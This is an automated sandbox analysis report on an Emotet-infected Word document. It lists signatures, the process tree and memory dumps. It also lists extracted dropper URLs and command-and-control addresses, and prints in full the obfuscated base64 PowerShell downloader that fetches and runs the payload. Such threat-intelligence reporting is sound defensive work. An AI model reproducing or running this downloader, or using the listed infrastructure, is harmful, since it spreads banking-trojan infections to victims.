Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    68s
  • max time network
    104s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    04/09/2020, 18:52

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_c567ea1fcaf384bfd2ad39165ea9b07fc04bfcbd325f7b3ecbe8c7329e65611c_2020-09-04__185042._doc.doc
  • Size 232KB
  • Sample200904-ff8clbpcaj
  • SHA256 c567ea1fcaf384bfd2ad39165ea9b07fc04bfcbd325f7b3ecbe8c7329e65611c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://radiosubmit.com/search_test/s/
  • exe.dropper

    http://kailashhotel.com/invoice/3/
  • exe.dropper

    http://king61tours.com/pdf/d/
  • exe.dropper

    https://povedavicedo.com/wp-admin/w/
  • exe.dropper

    https://menuazores.com/root/P/
  • exe.dropper

    https://fairplay.company/wp-includes/H/
  • exe.dropper

    https://www.laminatedtube.com/site/iT/

Extracted

Family

  • emotet

C2

  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_c567ea1fcaf384bfd2ad39165ea9b07fc04bfcbd325f7b3ecbe8c7329e65611c_2020-09-04__185042._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1464
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAEwARQBcAEMAVABOADYANgBmAHoAXABNAFAAOQB0ADgANAA3AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAYABSAGkAVAB5AGAAcAByAG8AVABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACkAKwAnADIALAAnACsAKAAnACAAJwArACcAdABsAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEIAMgBtAGcAOQA0AGUAIAA9ACAAKAAnAEsAJwArACcAMQAnACsAKAAnAHIAJwArACcANABqAGwAegAnACkAKQA7ACQATAA5ADMAOQA3ADAANwA9ACgAKAAnAFcAJwArACcAeQAnACsAJwB2ADcAdAAzACcAKQArACcAaQAnACkAOwAkAEUAZQB1AGoAbQA1AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYgAnACsAKAAnAHoAdgAnACsAJwBDAHQAbgA2ADYAZgB6AGIAegAnACsAJwB2AE0AcAA5AHQAJwArACcAOAA0ACcAKQArACgAJwA3ACcAKwAnAGIAegB2ACcAKQApAC0AQwByAEUAcABsAGEAQwBFACAAKAAnAGIAegAnACsAJwB2ACcAKQAsAFsAQwBoAEEAcgBdADkAMgApACsAJABCADIAbQBnADkANABlACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAQwAwADIANAAyADEAZQA9ACgAKAAnAEkAcwBlACcAKwAnAGgAJwApACsAKAAnAGwAJwArACcAYwBxACcAKQApADsAJABIADMAdgBwAHIAZgBwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAGMAbABpAGUAbgBUADsAJABGAHcANQBxADEANgAyAD0AKAAnAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwByACcAKwAnAGEAZABpACcAKQArACgAJwBvAHMAdQBiACcAKwAnAG0AJwApACsAJwBpAHQAJwArACgAJwAuAGMAbwBtAC8AcwBlACcAKwAnAGEAJwArACcAcgBjACcAKwAnAGgAJwApACsAKAAnAF8AdABlACcAKwAnAHMAdAAnACkAKwAoACcALwBzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBrAGEAJwApACsAKAAnAGkAbAAnACsAJwBhACcAKwAnAHMAaABoACcAKQArACgAJwBvAHQAZQAnACsAJwBsAC4AYwBvAG0ALwAnACsAJwBpACcAKwAnAG4AdgBvAGkAYwBlAC8AMwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGsAaQBuAGcANgAxACcAKQArACgAJwB0AG8AdQAnACsAJwByAHMAJwApACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAcABkAGYAJwArACcALwAnACsAJwBkAC8AKgBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AcAAnACkAKwAoACcAbwB2ACcAKwAnAGUAZABhAHYAJwArACcAaQBjAGUAJwApACsAJwBkACcAKwAnAG8ALgAnACsAJwBjACcAKwAoACcAbwBtAC8AdwBwAC0AJwArACcAYQBkACcAKwAnAG0AaQBuACcAKwAnAC8AdwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AbQBlACcAKQArACcAbgAnACsAKAAnAHUAYQB6ACcAKwAnAG8AcgAnACkAKwAnAGUAJwArACgAJwBzAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AcgAnACsAJwBvACcAKwAnAG8AJwArACcAdAAvAFAALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AZgBhAGkAJwApACsAKAAnAHIAcAAnACsAJwBsAGEAeQAnACkAKwAoACcALgBjAG8AbQAnACsAJwBwAGEAJwApACsAKAAnAG4AeQAvACcAKwAnAHcAJwArACcAcAAtAGkAbgBjACcAKQArACgAJwBsAHUAJwArACcAZAAnACkAKwAoACcAZQAnACsAJwBzAC8ASAAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AbAAnACkAKwAoACcAYQAnACsAJwBtAGkAJwApACsAKAAnAG4AYQB0AGUAJwArACcAZAB0AHUAYgAnACsAJwBlAC4AYwBvAG0AJwArACcALwBzACcAKwAnAGkAdABlAC8AaQBUAC8AJwApACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBpADgAeQBvAHMAdAA9ACgAKAAnAEUAJwArACcAZQBkACcAKQArACgAJwA2ADAAJwArACcAaAAnACkAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBzAHUAdgBsAHcAZwAgAGkAbgAgACQARgB3ADUAcQAxADYAMgApAHsAdAByAHkAewAkAEgAMwB2AHAAcgBmAHAALgAiAGQAbwBgAHcAYABOAEwAbwBBAEQAZgBpAGAAbABlACIAKAAkAEYAcwB1AHYAbAB3AGcALAAgACQARQBlAHUAagBtADUAcgApADsAJABNAHUAegBrAHYANwBrAD0AKAAoACcAVgAnACsAJwA2ACcAKwAnAHcAbgA1AHoAJwApACsAJwA5ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABFAGUAdQBqAG0ANQByACkALgAiAGwAYABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADUANwA2ADgAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAoACQARQBlAHUAagBtADUAcgApADsAJABJAHMAbAA2AHUAdQB3AD0AKAAnAFAAeAAnACsAKAAnAHcAdwAnACsAJwBqACcAKQArACcAMABlACcAKQA7AGIAcgBlAGEAawA7ACQATgB6ADMAbwBnAHkAcwA9ACgAKAAnAEUANQAnACsAJwB1ADgAJwApACsAKAAnAGYAJwArACcAbAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAHgAeAAxAHcAMwA5AD0AKAAnAEIANgAnACsAKAAnAGEAJwArACcAaQB5AGYAJwApACsAJwB2ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe
      "C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1980
      • C:\Windows\SysWOW64\wavemsp\chkdsk.exe
        "C:\Windows\SysWOW64\wavemsp\chkdsk.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1372

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/340-24-0x000007FEF76E0000-0x000007FEF795A000-memory.dmp
        Download

        memory/1372-23-0x00000000004E0000-0x00000000004EC000-memory.dmp
        Download

        memory/1372-22-0x0000000000270000-0x000000000027D000-memory.dmp
        Download

        memory/1464-4-0x0000000006C60000-0x0000000006E60000-memory.dmp
        Download

        memory/1464-5-0x0000000006C60000-0x0000000006E60000-memory.dmp
        Download

        memory/1464-6-0x000000000AD70000-0x000000000AD74000-memory.dmp
        Download

        memory/1464-2-0x00000000088F0000-0x00000000088F4000-memory.dmp
        Download

        memory/1580-9-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/1580-14-0x000000001B710000-0x000000001B711000-memory.dmp
        Download

        memory/1580-13-0x000000001AB00000-0x000000001AB01000-memory.dmp
        Download

        memory/1580-12-0x0000000001FE0000-0x0000000001FE1000-memory.dmp
        Download

        memory/1580-11-0x0000000002190000-0x0000000002191000-memory.dmp
        Download

        memory/1580-10-0x000000001AC20000-0x000000001AC21000-memory.dmp
        Download

        memory/1580-8-0x000007FEE9280000-0x000007FEE9C6C000-memory.dmp
        Download

        memory/1980-17-0x0000000000370000-0x000000000037D000-memory.dmp
        Download

        memory/1980-18-0x0000000000380000-0x000000000038C000-memory.dmp
        Download